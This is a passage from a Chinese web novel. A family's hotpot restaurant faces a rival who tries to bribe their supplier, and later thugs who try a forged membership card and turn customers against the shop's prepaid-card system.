这会儿,店里其他人都已经走了,苏卫华夫妻正想嘱咐他们两口子也赶紧回家。 不想,张表舅忽然说有事要跟他们汇报。 苏丽珍一家见他表情严肃,自然没敢大意。 苏卫华忙问道:“老张大哥,到底出什么事了?” 张表舅皱着眉头,“苏兄弟,那个朱记的老板不知道从哪儿打听到,我现在帮你们在乡下收东西。” “今天早上突然把我堵住了,说是要我也帮他们家收一份!” 第104章 “你说啥!” 还不等苏家人做出任何反应,听着动静正好出来的张舅妈就“嗷”地一嗓子冲了出来。 “我告诉你,姓张的,你绝对不行答应!苏兄弟一家是咱们的恩人,那姓朱的打从第一天起,我就看出他们没安好心!你要是敢给他们做事,我跟你没完!” 张舅妈这番话说的又急又凶,看得出是真动了气,苏家人在旁边不由十分感动。 李翠英连忙上前轻拉了对方一把,安抚道:“嫂子,你先别着急,我大哥他也没说答应啊!” 张表舅一脸委屈:“就是,你看你这人,咋不让人把话说完呢!” 张舅妈不依不饶:“有啥可说的!就应该当场‘呸’过去,顺便狠狠把他们臭骂一顿,让他们趁早死了这条心!” 不过骂了两句之后,到底冷静下来,她又忍不住催问道:“到底咋个情况?你快说,别墨迹!” 张表舅露出了无奈的眼神,不过知道苏丽珍一家也正等着听呢,当下老老实实答道: “他们就是跟我说,无论帮咱们店里收什么东西,都照样给他们家也送一份。而且不管是啥东西,只要过我手,他们都会给我加价10%。” “我一开始没答应,那个朱老板不死心,又加到了20%!我觉得他这样太不正常了,所以就寻思赶紧跟你们说一声,万一他安了啥不好的心思,也好有个防备!” 大家听的也是直皱眉头。 直接加价20%,那可是要比从黑市拿价还要高了,这朱老板图什么? 难不成以为这样就能断了苏家供货的渠道,让他们开不成店? 可整个凤城那么大的市场,不说大大小小的黑市,就是周边乡村农户也有不少。 说句不好听,不过是个从乡下到城里一倒手的活儿,少了一个张表舅,有的是人能干。 这明摆着没什么用处的事,“朱记”何苦这么大费周章? 苏丽珍看了眼同样在皱眉苦思的张舅妈,心里猜到了大概,不过她并没有先开口,而是看向苏卫华夫妻和苏小麦,问道:“爸、妈,小麦,你们怎么看?” 苏卫华沉吟道:“我觉得他可能是想通过老张大哥,来打听咱们店里的情况。” 李翠英点头,“我也这么想,毕竟他家恨不得什么都照着咱家学,肯定天天惦记咱们店里的情况。” 苏小麦却有不同的想法,“他们想摸咱家的底儿这点不假,但是我倒觉得他不是冲着张表舅,而是冲着咱们张舅妈来的!” 张舅妈一愣,“我?” 苏丽珍眼中露出笑意,鼓励道:“小麦姐,你接着说。” 苏小麦得了苏丽珍肯定,也弯了弯唇角,继续分析道:“咱们都知道,张表舅现在每次来送货都是赶着一t早一晚的时间。” “如果他们经常盯着咱们店,肯定能摸出这个规律,自然也就知道了天天跟着表舅一起出入的张舅妈,进而发现张舅妈是不常露脸的后厨人员。” “而后厨的工作人员意味着什么呢?意味着她有机会接触到咱们店里最重要的东西!” 在场的除了苏丽珍,其他人顺着苏小麦的话一想,不由齐齐变了脸色。 苏卫华脱口道:“他们是想打配方的主意?” 张舅妈一拍大腿,狠狠骂道:“肯定是这么回事,要不然这帮瘪犊子干啥舍得下这么大本钱!” 苏丽珍也点了点头,“小麦姐说的很对,不过我推测他们拉拢张表舅,应该还有别的目的。” 面对众人询问的眼神,她有些意味深长道:“如果想要得到我们的配方,从舅妈这里入手,确实是一个不错的选择。” “但是作为一家店成功的秘诀,‘朱记’也清楚,我们一定会对配方格外重视。短时间内,他们想要得手并不是那么容易的。” “但是相反,他们知道张表舅是咱们家信任的合作伙伴,如果他们能够说通表舅,让他在每天给咱们家送的东西中掺杂一些变质或者不合格的食材,一旦有人吃出了问题,那咱们这家店自然也就开不下去了!” 毕竟没有配方也照样可以开店,但是如果一家店吃坏了人,损坏了名誉,丢失了客人,那才是真正的致命打击,至少三、五年内都别想着翻身。 众人听着苏丽珍的分析,不由都出了一身冷汗,而且越想越觉得有可能。 张表舅咬牙切齿道:“不行,我绝对不会答应这个姓朱的!以后他要是再敢来找我,我非揍他一顿不可!” 张舅妈也接茬道:“带我一个,这缺德带冒烟的狗东西,老娘非打的他满地找牙!” 苏丽珍却摇了摇头,对两人道:“张表舅、舅妈,你们还真不能打他们。相反,表舅,您还得答应朱广才的请求。” 所有人闻言一愣,张舅妈甚至还以为自己听错了。 “珍珍,啥意思?你说让我们俩答应那缺德鬼?” 苏丽珍点了点头,笑道:“对,答应他们!” “朱广才既然对咱们动了歪心思,一计不成,自然还会想别的办法。如今咱们在明,他们在暗,与其时刻担心他们不知道又会想出什么招数对付咱们,还不如就让张表舅先把这事答应下来,也省着他们再出别的坏招或者弄些乱七八糟的人过来。” 众人听完,面露恍然。 别说,这还真是个好主意! 而且还可以先让张表舅稳住他们,顺便再打听些“朱记”的情况回来,这简直就是一箭双雕了。 见众人听明白了自己的意思,苏丽珍才又对张表舅叮嘱道:“张表舅,这两天您什么都不用做,就安心等着。” “您今天拒绝了朱广才,但我估计他不会这么容易死心,肯定还会再来找你。” “您先不要答应的太快,让他继续给您提价。既然有这样不怀好意的的冤大头送上门,表舅,这钱你们不赚白不赚!” 张表舅夫妻俩对视一眼,张舅妈率先答应道:“好,珍珍闺女,既然你说这么办,那我们就办了。” “到时候,我肯定让老张狠狠宰他们一笔,宰的钱我们都给你!” 苏丽珍听的心里一暖,笑着摇头:“舅妈,不用了,这就当是你们的辛苦费好了。” 旁边苏卫华夫妻也说:“是啊,嫂子,这钱就是你们该得的。” 张表舅夫妻见苏丽珍一家坚持,最后还是张舅妈痛快道:“行,那我们就借着苏兄弟你们一家的光,占这个便宜了!” 说完,她又伸手搥了旁边张表舅一拳头。 “不过,姓张的,我先提醒你啊,钱挣了也就挣了,但是你这心里得有数,知道咱是谁的人,可千万不能干对不起苏兄弟的事。” 张表舅无语地翻了个白眼,“这还用你说!” 苏丽珍又提醒了几句,“张表舅,您答应他们以后,可以适当地把咱们店里的情况跟他们透露一些。” “您也不用担心,有些事,即便是您不说,他们派人去店里多吃几回饭也能摸清楚。所以您不用有什么顾虑。” “等他们跟您混熟之后,肯定会想办法再从您这里打听舅妈在后厨的事。” “到时您先搪塞几句,实在搪塞不过,就说您以前没注意这些。” “至于这会儿,自打您答应给他们家送货开始,就一直和舅妈闹分歧,你们俩还为此吵了几回架。舅妈一直没理您,所以您暂时打听不出来什么。” 说完,她又对张舅妈笑道:“舅妈,到时还得麻烦您配合一下,演一出戏。说不定晚上还要在我们家对付两宿。” 张舅妈一点不含糊,“那敢情好啊!我年轻的时候就爱看人家搭台子唱二人转,可惜我这嗓子不行!” “现在我唱不了戏,有机会让我演一出也行啊!珍珍,你放心,舅妈到时候肯定给你演的明明白白!” 众人听了都笑了起来。 说定了这件事之后,苏丽珍也没闲着。 她这边也知道了一些朱广才的情况,知道他是钢厂工会的小干部,小有家底。 但是照他家现在这个经营状况看,“朱记”绝对稳赔不赚,而且是再有家底也禁不住的赔法。 再结合姓朱的人品,苏丽珍心里猜测,“朱记”十有八九会在食材上做文章。 所以,她第二天早上就去了工商和街道一趟,主动向夏所长和宋主任提出,想请他们去自家店里检查一下卫生情况。 没办法,现在也没有相关的卫生许可证明,针对饭店卫生这一块,这两个部门都有发言权。 所以,苏丽珍也没较真儿,干脆把两个部门的主管领导都请了过去。 夏所长和宋主任还有些奇怪,毕竟他们的检查一般属于抽查性质。尤其是工商所这边,如果没有什么特殊情况,他们是很少到下面店里去的。 苏丽珍当然不能说她其实是变相想给朱广才找麻烦,面对两位干部好奇的询问,她拿出一早准备好的借口。 “夏所长年前不是让我们填了一张工商所的个体经营情况调查表吗?我记得当时夏所长说过,市里的领导有可能会抽选几家个体商户,并且亲自下来走访。” “我觉得我们家做为咱们凤城首批的个体商户,说不定会被领导选中。所以想请两位干部过来先帮我们检查一下,查缺补漏。如果我家真的被领导抽中要来考察,也能给领导们留个好印象!” 不得不说,苏丽珍这个借口找的太好了。 夏所长和宋主任听完,一方面直夸她心思周到、觉悟高;一方面也想着苏丽珍说的情况很有可能。 所以既然要检查,就不能只检查苏丽珍一家,周边大大小小的店面都应该好好看看。 不定将来领导下来走访会走到哪一家,尤其是个体经营商户,更是重中之重。 这样一来,与苏丽珍家只隔了一条街的“朱记”自然也受到了“重点关注”。 当天,苏丽珍就听说了隔壁街的“朱记”因为卫生检查不合格,被工商和街道联合点名批评,并勒令停业一天整改。 这是念在他们是新店开张,所以放宽处理,如果他们下次再有不合格的情况,那“朱记”申领的营业执照就要延期发放。 苏丽珍可是听夏所长说过,从今年三月份开始,个体户开店如果不申请营业执照,就属于私自违法经营,到时会予以封店罚款的处罚。 如今已经是二月中旬,可没有几天就是三月了。 朱广才估计要头疼几天了。 不过想到“朱记”只是查出卫生不合格,而没有查出更严重的食材问题,苏丽珍眼神黯了黯。 这个朱广才果然有些手段。 当然,也有可能是她猜测错误。 反正她现在不着急,对付朱广才这种狡猾的人,最好的办法就是一击即中,不能给对方任何反应的时间。 而她现在已经学会了保持耐心。 不过想到“朱记”现在既要应付两个部门的检查,又要花心思收买张表舅,估计短期内没时间骚扰他们。 所以,她又把心思重新花在了手头建筑公司的宣传效果图上—— 作者有话说:感谢在2023-06-0222:58:17~2023-06-0617:03:03期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养t液的小天使:檐上月2瓶; 非常感谢大家对我的支持,我会继续努力的! 第105章 开业一周后,第一批效果图已经裱好拿了回来。 苏丽珍在四个包间、以及大堂两侧墙壁上都挂了几幅。 另外,还有做好的宣传图册也放在了店内比较显眼的位置,供客人等菜间隙浏览翻阅。 别说,这办法还真不错! 这些宣传图刚一摆出去,就有老顾客注意到了,忍不住向苏丽珍打听。 等听说他们要组建一个专业的建筑装修队,专门承揽各种建筑和装饰工程,而负责设计和建造的工作人员就是当初装修小楼的那些人,不少人都动了心思。 毕竟这座漂亮的小楼就是最好的广告! 而且那一幅幅效果图上,或精美、或大气、或古色古香的装修风格实在太可人心了! 真要是自家房子也装成这样,那可老带劲了! 当下就有两个老主顾跟苏丽珍定好,让他们的建筑公司帮忙装修房子! 而且过了十五就动工! 公司还没正式开张,就接到了单子,所有人都很高兴。 尤其属丁大勇最激动,有人喜欢他的设计,要按照他的设计改造房子,这些光想想,他就兴奋得睡不着觉! 苏丽珍想起之前薛老爷子说过,丁大勇似乎对室内装修设计这方面更感兴趣。 考虑到公司未来的发展方向,她便问了丁大勇这个问题。 毕竟她办这个公司的初衷就是为了帮大勇哥实现他的理想,自然要先弄清楚大勇哥心里的想法。 没想到丁大勇却摇了摇头,解释道:“我并不是只喜欢室内装修设计,而是我明白自己是半路出家,自身更没什么基础。” “当初饭店装修是我所能接触的第一个现场工程,我就想着以这为模板,围绕这些,能多学一点就多学一点,并不是说对其他的就不感兴趣了。” 苏丽珍这才明白。 不过,虽然丁大勇没有特别想往哪一方面发展,但是他们现在手里能接的活主要还是室内装修这一块。 一直没什么人打听建房盖屋的事,当然,这也符合如今的市场现状。苏丽珍一早就做好了心理准备,所以并不着急。 而且他们还有丁大勇家的样板工程。 那房子整个屋顶已经塌了大半,外墙也破破烂烂,要动的地方非常多。 这样改头换面的工程做得好,还是很有广告效果的。 这么一算,他们手头上就有三个活儿了,也是时候可以着手找工人了。 另外,既然说要开公司,自然要正规合法,虽然现在这方面查的不严,但是苏丽珍也不打算糊弄。 所以注册公司的相关手续都由她来负责。 注册公司需要办公地点。 原本按照苏丽珍的打算,是想把自家二楼的一个空房间作为公司的临时办事处,等以后条件好了再换。 不过丁大勇不同意。 他觉得师父一家已经帮自己太多了,不能再自私地打扰师父家的日常生活,所以他坚持要用他手上那座小房。 而且等房子修好之后就是公司的样板工程,拿来做办公地点也更方便客人参观,更有说服力。 苏丽珍拗不过他,便同意了。 正巧那房子也在夏所长分管的辖区内,有夏所长帮忙,手续很快就办好了。 办手续的同时,招人这边也没耽误。 事实上,苏丽珍心里早就有了人选。 她这次还是想用张表舅家的亲戚。 上次家里装修,这几个人来帮工,干活认真又勤快,加上知根知底,苏丽珍觉得很合适。 跟丁大勇和薛老爷子一商量,两人对这几人印象也不错,当即都点头赞成。 张表舅的两个舅哥、两个本家兄弟,再加上一个同村好友,总共五个人。 五个人,每人每月的基本工资是十块钱。平时没活儿,大家可以忙自己家的事,但是如果公司有活儿就必须随叫随到。 另外,除了基本工资,公司接到活儿,每个人每出一天工给一块钱,包中午一顿饭。如果干的好,每月还有额外奖金。 这五个人一听说有这么好的事,当时就乐的不行,跟张表舅把胸脯拍的“啪啪”响,保证自己到时一定好好干。 基本工人有了,但是装修还需要一些技术工种,比如瓦工、木工、电工和水暖工。 电工和水暖工按照薛老爷子建议,到时直接外包,暂时不招人。 瓦工这方面,张表舅的两个舅哥本身就会一些,上次装修小楼的时候又得了薛老爷子指点,两人回去又琢磨了一番,现在也能顶大半个成手。 最重要的是木工。现在打家具都要找木工师傅,而他们做室内装修,木工这一块还是大头。 可是公司如果要专门聘请一、两位熟手大师傅的话,费用不低不说,人也不是那么好请的。 毕竟一个成手师傅每天坐在家里就有不少人找上门,没人管、没人说,还照样挣钱。 苏丽珍请薛老爷子问过上次给家里干活的两位木工师傅,果然两人都不太愿意过来。 不过他们也表示了,如果以后公司这边有什么活儿,他们到时一定可着这边来。 毕竟不为别的,也得看薛老爷子的面子。 有这句话,苏丽珍也就放心了。 从这也能看出薛老爷子的重要性。 无论是原材料采购,还是跟各种技工大师傅打交道,薛老爷子既有人脉、又有资源。 更别说还有最好的专业技术。 冲着这些,人家拿三成的红利也是应该的,何况老爷子厚道,说什么都只肯拿一成。 苏丁两家因此十分感激薛老爷子。 现在丁大勇的房子没动工,待不了人,公司的办公地点暂定在苏丽珍家的二楼。 丁大勇和薛老爷子每天研究装修方案,李翠英就翻遍《料经》里的各种大菜、小吃,按着老爷子的口味做了不少好吃的。 几天的功夫,老爷子的脸都圆了一圈! 装修公司这边一切顺利,正月十六正式动工,所有人都卯足了劲头准备大干一场,都盼着把这公司头几单活儿干好,争取来个开门红! 装修公司这边如火如荼,苏丽珍高兴之余,也要准备开学了。 过完年之后事情不少,加上还要忙装修公司的事,也没有多少时间碰书本。 好在年前的时候,她提前预习了不少下学期的功课,现在趁着还有几天时间,再巩固一下也来得及。 李翠英和苏小麦则想着正式开学前,拉着苏丽珍一起去百货商店逛一逛,买点新衣服或文具用品。 本来都计划的好好的,偏偏这时候有人来添堵。 这天晚上,张表舅来给饭店送完货之后,立刻就来找苏丽珍。 他脸色有些不好道:“珍珍,我怀疑那姓朱的又要搞小动作,你这几天小心点儿!” 苏丽珍拧了拧眉。 不过这也在她的预料之内。 毕竟距离那天朱广才拉拢张表舅给他们送货,已经过去十天了。 这期间,“朱记”一直老老实实的。 而张表舅听了她的话,把给他们的送货价足足提了40%,这价格可比到自由市场上零买还要贵! 当了十天的冤大头,搁谁都要沉不住气了。 “我今天特意没按照往常的时间去给他们送货,当时店里正好没什么人。我就看见那姓朱的跟一个小年轻嘀嘀咕咕的,还往那人手里塞烟呢!” 张表舅边说边皱眉,“我看那小年轻贼眉鼠眼的,不像个好人样!这姓朱的对一个小混混这么客气,我猜他一准是又要动什么歪心思。” 苏丽珍点了点头,“张表舅,我知道了,你放心,我会小心的!” “对了,您这次提前去,有没有什么收获?” 一说到这个,张表舅就有些垂头丧气,摇头道:“没有,那姓朱的看的太紧了!” “他一看见我来,就故意大嗓门儿吆喝,后厨的人听着动静就直接出来把菜和肉都拿里面去了,我始终进不去。” 苏丽珍一直怀疑“朱记”的食材有问题,所以想让张表舅借着这次机会,顺便查查这件事。 只可惜朱广才十分狡猾,每每格外小心,表面上跟张表舅称兄道弟,却始终不肯让他进后厨一步。 这十天,张表舅也只是勉强知道了他们后厨现在有三个人做事。 平时是朱广才的爹妈,忙的时候外加一个他老丈人,差不多都是他们自家人。 “朱记”因为价格t确实够便宜,加上朱广才能说会道的,所以即便之前爆出卫生有问题,生意仍然很不错。 而张表舅现在每天往他们家送货的量,根本不够支撑“朱记”后厨的用量。 所以他们也应该跟苏家一样,要从黑市上拿货补足。 现在给苏家供货的倒爷是凤城黑市市场上最大的一家,人称刘五爷。 这位刘五爷据说有些背景,在黑白两道上都吃得开。而且这位为人十分讲义气、重规矩,所以名声很不错。 凤城及周边城市大多数个体户都是从他家拿货。 刘五爷常年做黑市的买卖,手底下已经形成了稳定的倒买、倒卖渠道,所以他们做事也十分有章法。 就比如说,给苏丽珍家供货一般都是在每天清早7点~8点之间。如果有特殊情况,也会像年前那次一样,提前过来打招呼。 苏丽珍曾听刘五爷的人提过,他们给别家送货也都是这个时间。 而苏丽珍从来没有在相同的时间里,看到刘五爷的人往“朱记”送过货。 从正月初六到现在,半个月的时间里一次都没有。 所以她估计,“朱记”并不是从刘五爷手上拿货。 凤城黑市好几个,倒爷也不少,人品更是良莠不齐。 苏丽珍本想让张表舅探探朱广才从谁家拿货,却一直没什么收获。 苏丽珍就建议张表舅搞一次“突然袭击”,不按说好的时间去送货,试试看能不能堵着什么。 但是显然朱广才在这件事上格外谨慎,张表舅这次还是无功而返。 不过这也恰恰证明了“朱记”有问题,而且问题恐怕还不小。 只可惜,她现在没有证据。 暂且收起遗憾的心思,苏丽珍又饶有兴趣地问道:“表舅,朱广才今天又暗示你什么了?” 第106章 张表舅当即满脸嫌恶道:“这姓朱的,真是一肚子坏水儿。” “之前老是跟我打听你们家配方的事,我拿你们舅妈搪塞了两回,这两天估计是天天盯着我,看你们舅妈也没回家,这才信了。” “从昨天开始又一个劲儿地暗示我,让我给你们家送货不用那么实诚,说是反正东西多了混在一起,一样、两样的也看不出来!” “我算是看出来了,这瘪犊子是真没安好心,还偏偏一口一个为我好,说我多挣点儿、是点儿,我可真想给他两拳头!” 到现在看,苏丽珍当初设想的几种可能,朱广才是一样都没落下,真是绞尽脑汁地想要把他们家拉下水。 别说苏丽珍一家,张表舅夫妻俩都恨得牙痒痒。 因为有了心理准备,苏丽珍倒不怎么生气,反而宽慰张表舅:“他那坏点子再多,表舅您一样不答应,他也没办法!” “就是可惜了,表舅,您这条挣钱的路子恐怕要到头了。” 本来就没什么收获,再加上张表舅今天搞了突然袭击,即便朱广才再怎么有心思“放长线,钓大鱼”,这回恐怕也稳不住了。 张表舅听了这话反而露出轻松的表情,“到头就到头吧,我可谢谢他,他家的钱,我可实在是挣够了!” 苏丽珍莞尔。 打从张表舅开始答应给“朱记”送货,除了苏丽珍一家和张舅妈知道实情,其他人都不了解真相,还以为张表舅一心掉到钱眼里,为了挣钱,啥也不顾了! 不说他自家儿女们私下里一个劲儿劝他,就是他丈母娘和舅哥儿几个,也是特别不理解。 他大舅哥还指着他鼻子、骂他忘恩负义,恨不得要打他一顿,可把他给愁坏了! 被这些人这样坚定不移的维护着,苏丽珍心里说不感动是假的。 虽然他们从来没有要求张家只给自家收货,可张表舅家里自上到下却全都默认了这件事。 即便“朱记”给出了高额的价钱,他们仍然不为所动。 苏丽珍觉得,只冲着这份信任和坚持,张家未来就是他们坚定的伙伴。 她也愿意帮对方一把,让他们更上一层楼。 因为张表舅的提醒,临近开学这两天,苏丽珍也没有和家人出去逛街,而是一直守在店里。 张表舅这边虽然已经提前知会了苏丽珍,但是到底不放心,一大早给他们送完货之后也没走,而是把收货的事又交给了两个儿子。 他自己干脆躲在后厨里,看着前厅进出的客人,希望揪出朱广才安排的人。 苏丽珍一家本不想让他这样麻烦,可是张表舅不肯。 张舅妈也不拦着,反而乐呵呵搬了一大盆菜,让他坐在后厨门口,一边择菜、一边看着前面,正好两不耽误,让苏家人哭笑不得。 也不知道是不是赶巧,当天中午还真让张表舅盯到了人。 “苏兄弟、珍珍,刚才那伙人里,打头那个尖嘴猴腮的瘦子就是姓朱的找的人!” 父女俩看过去,就见夏春花正接待一行五人往南边第三张桌走去。 这五人里,打头的是一个身形瘦削,举止轻佻的年轻人。 这几人打从进店开始就一直东瞅瞅,西看看,看见来接待的夏春花,眼神更是透着下流。 其中有两个人甚至凑在一起,一边盯着走在前面的夏春花、一边窃窃私语,那脸上的笑看着就不怀好意。 父女俩同时皱起了眉。 苏卫华这回不等苏丽珍开口,便说道:“闺女,你别过去,爸去解决。” 接着就过去把夏春花叫走,自己过去应付这五人。 苏丽珍见状也没说什么。 她倒是不怕这几个人。上辈子在米国,比这更恶劣的,她也不是没见过。 只不过怕父母担心,所以没有急着上前。 她让王树把曹金凤也叫到一边,让两个女孩子尽量不要往那张桌前凑。 见苏卫华把夏春花换走,那打头的年轻人一双三角眼一瞪,一脸不高兴道:“咋的,爷儿们,这么急巴巴的把小丫头叫走,是怕我们哥几个吃人不成!” 来者是客,苏卫华脸上端着笑容,“哪能呢,小伙子,这不是那边有客人需要她过去帮忙嘛!” “几位,我是这家店的老板,今天我亲自为你们服务,有什么需要跟我说就行。” 那三角眼露出个怪笑,有些夸张道:哎呦,哥几个听见没?‘珍珍火锅店’的老板亲自给咱们服务,咱哥几个今天可赚着了!” 桌上其他人立即跟着怪声怪调地起哄:“哎呦,赚着了,赚着了!” 苏丽珍虽然没有过去,但是借着给邻桌上菜的空档,也走到了附近。 顺着卷起一半的珠帘,她仔细打量这五个人,发现那三角眼带来的四个人里,刚刚只有三个人跟着他起哄。 倒是末尾处坐着的一个身材魁梧的男青年,始终没有出声,脸上也没有什么表情,就仿佛他跟其他四个人根本不认识一样。 面对几人起哄,苏卫华也不在意,反而拿起菜单递给三角眼,态度良好道:“几位,这是菜单,看看想吃点什么?” 那三角眼看也不看,转脸跟自己带来的跟班故意拉长声道:“唉,我今天这眼睛咋这么不得劲呢!要不,哥几个看看?” 除了那魁梧青年之外,其他人立马跟着挤眉弄眼道:“哎呦,大哥,我不识字啊!” “就是,这东西,它认识我,我不认识它啊!” 三角眼睨了苏卫华一眼,状似无奈道:“老板,没办法啊,哥几个看不了这菜单,要不你受累,给我们念念?” 苏卫华知道他们有心找茬,也不在这些小事上动气,便将店里的菜色简单介绍了一遍。 等苏卫华介绍完了,三角眼又一脸阴阳怪气道:“怪不得有本事开这么大饭馆,老板这口才真厉害!是不是啊,兄弟们?” 另外三个人再次起哄,一边嘴里怪声喊着“厉害”,一边不停拍桌子、跺脚。 巨大的声响引得店里其他桌的客人纷纷往这边看。 见这几人不像好人的样子,前后相邻的客人即便有意见,也不敢说什么。 甚至挨着的一桌客人看情形不好,不想惹事,匆匆结了账就走了。 这个时间本来正是上人的时候,原本一桌客人离开,空桌很快就会来人。 但是看见这副情形,不少人宁可等着去别的桌,也不敢坐过来。 还有一部分人索性不等,直接转身离开了。 这时,齐志飞听着动静,也从后厨出来,手里还握着一根擀面杖。 苏丽珍却冲着他摇了摇头,示意对方不要轻举妄动。 虽然齐志飞很能打,但是对方也有五个人。 在无法保证能一t次制服五个人的前提下,贸然动手,对自家造成的损失更大。 苏丽珍看着那五人,眉眼一冷,转身故意朝着包间的方向喊道: “树哥,一会儿把最大的包间留出来。十二点,刑警队的卢警官要带同事过来吃饭!” “还有,别忘把他送给咱们店的金蟾摆件也捧过去!” 王树十分机灵,立马响亮地答应了一声:“刑警队的卢警官是吧,我知道了!” “刑警队”三个字一出,三角眼那一桌明显安静了一瞬。 苏卫华知机,脸上端着的笑容也慢慢收了起来,不冷不热地看着几人,硬邦邦道:“几位,还点不点菜了?” 他这态度明显坐实了自家是有后台撑腰的,之前起哄的三个人肉眼可见地老实了不少。 就连三角眼自己也下意识坐直了身子,不再是之前那副拿腔拿调的怪样。 他这回没再出幺蛾子,很快点了菜。 这几人点了一个鸳鸯锅,牛羊肉各五斤,还要了一个猪肉酸菜锅套餐,最后又点了两瓶高档白酒。 这一顿饭吃下来,赶上普通人半个月工资了。 苏卫华一边淡定开票、一边问道:“几位,有会员卡吗?” 那三角眼就从兜里掏出一张会员卡递给苏卫华。 店里的“会员须知”提示过,本店会员在点单后必须先出示会员卡。 这样做,是为了尽可能杜绝有人使用伪造的会员卡进行欺诈,给顾客和饭店造成损失。 上辈子,苏丽珍在米国看到的会员卡都是电子卡片,通过芯片或者磁条识别和存储信息。对于普通人来说,造假难度很大。 现在他们没有这样的先进手段,充当会员卡的卡片只是一张普普通通的硬纸卡。 即便制作的再如何精细,也改变不了它本身易被人伪造仿制的事实。 但是会员卡又关联着顾客的账户,一旦被人伪造利用给顾客造成损失,那影响的是店里整体的会员制度,危害极大。 当初为了解决这个难题,苏丽珍可是费了一番心思,也研究了一些加密手段。目前看,收效还不错。 当然,一个人办了会员卡,亲戚朋友想要借用,这种情况也是存在的。 所以当初办卡的时候,他们就向大伙强调,店内会员卡必须是实名制。 同时,允许大家填写一个授权名单。 授权名单,就是一张实名的会员卡,可以同时授权三个人使用。 如果非本人持该卡片来消费,如果他报出的名字在三个授权名额之内,饭店就对他本次的会员消费予以承认。 如果不在授权名单内,即便这张会员卡是真的,饭店也拒绝承认。 这样即便顾客不小心丢失了自己的会员卡,也不用担心有人拿着卡片来冒充本人消费。 虽然麻烦,但是却最大程度地保护了顾客的账户安全,因此也得到了广大会员顾客的认可。 苏卫华接过了三角眼的会员卡,先辨别真伪,确定无误后,飞快开好单据递给三角眼,让他确认签字。 三角眼拿起笔,顿了顿,半天才歪歪扭扭签下了一个名字:张建国。 这个名字正好是这张会员卡上的名字。 苏卫华接过单子看了一眼,不由笑了一下,又将那张单子轻飘飘放回了桌上,气定神闲道: “小伙子,你这签名和卡上的笔迹不一致,这卡肯定不是你本人的。请你提供真实姓名,等我们确认是在这张卡的授权名单上,你可以继续使用这张会员卡。” “如果不在,那不好意思了,这张卡你用不了。” 第107章 苏卫华说完,三角眼眯了眯眼,不动声色地给坐在旁边的跟班使了个眼色。 跟班甲会意,立马起身拍着桌子喊道:“什么授权不授权的,跟我们有什么关系!” “告诉你,这张卡就是我大哥的,赶紧给哥几个上菜!再废话,别怪老子让你好看!” 苏卫华也板起了脸,“怎么,想闹事?我说这卡不是他的,就不是他的!” “不光这张卡,我们店里所有会员都有一份信息登记表,上面也有顾客的亲笔签名。” “几位,要不要我把这位‘张建国’顾客的信息表也调出来,让大伙儿都好好看看,那上面的笔迹到底跟你们大哥的一不一样?” 苏丽珍在竹帘外立即应声喊道:“树哥,去把咱们的会员信息表都拿来!” 眼见气氛紧张,这时三角眼咳嗽了一声,跟班乙又顺势站了起来,一副和事佬的姿态说道: “误会、误会,这张卡其实是我们老大哥儿们的,那人非要请我们老大吃饭,结果又有事来不了,这才把卡先给我们用用。” 他一边说、一边自顾自走到苏卫华跟前。 “老板,一张卡而已,我们老大自己也有。主要是今天哥几个早上都没吃饭,这肚子一饿,脾气就爆,你别见怪,赶快给我们把菜上来吧!” 说着,又从兜里掏出一张会员卡,塞到了苏卫华手里。 苏卫华看了他一眼,拿起手里的卡看了看,当场差点气笑了。 他捏着那张卡,这回也不再跟几个混子废话,直接扬声对外边苏丽珍几人喊道:“ 珍珍,去派出所找公安同志!就说有人故意伪造咱们店的会员卡想吃白食!” 这话一出,除了那个魁梧青年,三角眼和另外两个跟班也都从座位上站了起来。 跟班乙一改之前笑眯眯的样子,指着苏维华破口大骂道:“你特么是不是故意找茬?一会儿说我们卡名字不对,一会儿又说我们卡是假的,诚心的是吧!” 苏丽珍立即给齐志飞和王树使了个眼色,两人当即冲了进去,一左一右护在了苏卫华身边。 一见这架势,几个跟班又叫嚣起来:“怎么,想来硬的是吧!老子今天就让你们见识见识哥几个的厉害!” 嚷嚷完,其中一个跟班就想把桌子掀了,只是不知道怎么回事,他掀了两回都没掀动。 只见齐志飞面无表情地站在对面,一只手牢牢摁在桌面上,任凭那跟班使出吃奶的劲儿,桌子始终纹丝不动。 那跟班气个半死,正要吆喝其他人一起动手。 苏卫华这时冷冷道:“最近的派出所离我们只有五分钟路程。” 他扬了扬手里那张伪造的会员卡,目露威胁道: “就凭这个,我今天就能让你们吃不了兜着走!你要是再敢动我们店里的东西,信不信我今天就让你们吃牢饭!” 也许是苏卫华的语气太过笃定,再加上之前苏丽珍他们一口一个“刑警队”,几个混混这会儿才反应过来。 能在这样的地段、开这么大一家饭店的人家,肯定不是简单人物。 尤其是打头的三角眼,现在多少有点儿后悔。 当初答应“朱记”老板时太过痛快,也没事先打听清楚。 现在一肚子的计划没机会施展,实在有些骑虎难下。 不过他也不是第一天出来混,知道有些事开工没有回头箭。 反正人都已经得罪了,他总得想法子把雇主手里的钱都拿到手,才不算亏本。 这么想着,他又给跟班乙递了个眼色。 跟班乙反应快,立马朝着大厅像个泼妇似的大声嚷嚷起来: “真是没天理啊!当初收了我们的钱,催着办了会员卡,现在却不让我们用!” “我算看出来了,这老板黑心肝,就是看不起我们哥几个,所以故意找借口撵我们走!” “要我说,在这儿办了卡的人都小心点,可千万别得罪了老板一家!这钱落在人家手里,那就不是你们的了!” “可都别像我们哥几个似的,现在被人家拿捏着,一分钱都花不了!” 苏丽珍皱眉。 这个混混明显有几分小聪明,他只字不提他们自己冒用和伪造会员卡的事,反而口口声声说是因为得罪了苏家,被苏家故意为难。 如此模糊主要问题,将所有人的注意力都转移到会员预存金上,自然顺势就勾起了大家的疑虑。 一旦顾客对店里的会员制度变得不信任,进而要求退卡退钱,那必定造成损失。 这并不是苏丽珍想太多,而是现在的人们,连把钱放在银行里拿利息都不愿意。 在很多人心里,只有把钱藏在自己每天看得见的那一亩三分地里,才叫安全。 而他们店里,这种预存金额享受优惠的会员制又太过超前。 如果不是苏家这么大的店面立在这里,加上火锅店里的食物味道确实一流,很多人都不见得买账。 可这份信任t也是十分脆弱的,经不起有人蓄意挑拨。 果然,跟班乙的话一说完,苏丽珍就敏感地发觉,不少关注这边动静的顾客在窃窃私语。 他们倒不见得是相信那混子的话,只是涉及个人的钱财的问题,难免多心。 苏丽珍自然不能放任他这么挑拨离间。 她也不看那跟班乙,而是对周围关注这边的顾客认真解释道:“在座的各位,肯定有不少人在我们店预存金额,办理了会员卡。” 